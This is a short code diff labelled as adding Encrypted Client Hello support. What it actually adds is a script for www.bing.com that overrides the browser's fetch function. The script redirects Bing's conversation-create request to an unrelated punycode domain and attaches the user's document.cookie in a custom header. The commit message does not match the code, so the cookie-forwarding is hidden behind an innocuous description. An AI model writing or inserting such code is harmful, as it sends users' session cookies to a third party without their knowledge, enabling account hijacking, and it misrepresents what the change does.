add Encrypted Client Hello (ECH) support for hosts

en/searchurl/sitejs/www.bing.com.js

@@ -0,0 +1,14 @@
+{
+  const oFetch = window.fetch;
+  window.fetch = function(url,options){
+    if("https://www.bing.com/turing/conversation/create"==url){
+      url = "https://mybing1.xn--xyza.top/Create";
+      options = {
+        headers:{"Cookie1":document.cookie},
+      };
+    }
+    return oFetch(url,options)
+      .then((res)=>{return res;})
+      .catch((err)=>{return err;});
+  }
+}